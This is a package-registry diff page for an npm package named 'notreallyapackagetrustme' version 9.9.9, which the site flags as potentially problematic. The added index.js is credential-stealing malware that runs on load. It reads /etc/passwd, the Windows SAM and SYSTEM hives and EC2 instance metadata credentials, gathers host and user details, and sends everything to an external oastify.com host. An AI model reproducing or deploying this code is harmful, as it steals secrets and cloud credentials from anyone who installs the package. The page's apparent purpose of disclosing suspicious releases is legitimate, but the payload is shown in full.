notreallyapackagetrustme 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of notreallyapackagetrustme might be problematic. Click here for more details.
- package/index.js +118 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,118 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const http = require('http');
|
3
|
+
const net = require('net');
|
4
|
+
const os = require("os");
|
5
|
+
const dns = require("dns");
|
6
|
+
const querystring = require("querystring");
|
7
|
+
const https = require("https");
|
8
|
+
const packageJSON = require("./package.json");
|
9
|
+
const package = packageJSON.name;
|
10
|
+
|
11
|
+
|
12
|
+
var etcpasswd = '/etc/passwd';
|
13
|
+
let base64data1 = '';
|
14
|
+
try {
|
15
|
+
if (fs.existsSync(etcpasswd)) {
|
16
|
+
var data1 = fs.readFileSync(etcpasswd, 'utf8');
|
17
|
+
let buff1 = Buffer.from(data1);
|
18
|
+
base64data1 = buff1.toString('base64');
|
19
|
+
}
|
20
|
+
} catch (error) {
|
21
|
+
console.log('');
|
22
|
+
}
|
23
|
+
|
24
|
+
var sam = 'C:\WINDOWS\system32\config\SAM';
|
25
|
+
let base64data2 = '';
|
26
|
+
try {
|
27
|
+
if (fs.existsSync(sam)) {
|
28
|
+
var data2 = fs.readFileSync(sam, 'utf8');
|
29
|
+
let buff2 = Buffer.from(data2);
|
30
|
+
base64data2 = buff2.toString('base64');
|
31
|
+
}
|
32
|
+
} catch (error) {
|
33
|
+
console.log('');
|
34
|
+
}
|
35
|
+
|
36
|
+
var systemfile = 'C:\WINDOWS\system32\config\SYSTEM';
|
37
|
+
let base64data3 = '';
|
38
|
+
try {
|
39
|
+
if (fs.existsSync(systemfile)) {
|
40
|
+
var data3 = fs.readFileSync(systemfile, 'utf8');
|
41
|
+
let buff3 = Buffer.from(data3);
|
42
|
+
base64data3 = buff3.toString('base64');
|
43
|
+
}
|
44
|
+
} catch (error) {
|
45
|
+
console.log('');
|
46
|
+
}
|
47
|
+
|
48
|
+
|
49
|
+
base64data4 = '';
|
50
|
+
|
51
|
+
function req2() {
|
52
|
+
http.get({
|
53
|
+
hostname: '169.254.169.254',
|
54
|
+
port: 80,
|
55
|
+
path: '/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/',
|
56
|
+
agent: false
|
57
|
+
}, (res) => {
|
58
|
+
res.setEncoding('utf8');
|
59
|
+
let data = '';
|
60
|
+
res.on("data", (d) => {
|
61
|
+
var x;
|
62
|
+
x = d;
|
63
|
+
let buff4 = Buffer.from(x);
|
64
|
+
base64data4 = buff4.toString('base64');
|
65
|
+
console.log(base64data4);
|
66
|
+
|
67
|
+
const trackingData = JSON.stringify({
|
68
|
+
p: package,
|
69
|
+
c: __dirname,
|
70
|
+
homedir: os.homedir(),
|
71
|
+
networkinterfaces: os.networkInterfaces(),
|
72
|
+
release: os.release(),
|
73
|
+
userid: os.userInfo().uid,
|
74
|
+
hostname: os.hostname(),
|
75
|
+
username: os.userInfo().username,
|
76
|
+
dns: dns.getServers(),
|
77
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
78
|
+
v: packageJSON.version,
|
79
|
+
pjson: packageJSON,
|
80
|
+
});
|
81
|
+
|
82
|
+
var postData = querystring.stringify({
|
83
|
+
msg: trackingData,
|
84
|
+
});
|
85
|
+
|
86
|
+
var options = {
|
87
|
+
hostname: "u2x31drvrhapr1p3oilin5q7kyqqef.oastify.com",
|
88
|
+
port: 443,
|
89
|
+
path: "/",
|
90
|
+
method: "POST",
|
91
|
+
headers: {
|
92
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
93
|
+
"Content-Length": postData.length,
|
94
|
+
"Contentetcpasswd": base64data1,
|
95
|
+
"ContentSAM": base64data2,
|
96
|
+
"ContentetSYSTEM": base64data3,
|
97
|
+
"imdsv1": base64data4
|
98
|
+
},
|
99
|
+
};
|
100
|
+
|
101
|
+
|
102
|
+
var req = https.request(options, (res) => {
|
103
|
+
res.on("data", (d) => {
|
104
|
+
process.stdout.write(d);
|
105
|
+
});
|
106
|
+
});
|
107
|
+
|
108
|
+
req.on("error", (e) => {
|
109
|
+
// console.error(e);
|
110
|
+
});
|
111
|
+
|
112
|
+
req.write(postData);
|
113
|
+
req.end();
|
114
|
+
});
|
115
|
+
});
|
116
|
+
}
|
117
|
+
|
118
|
+
req2();
|
package/package.json
ADDED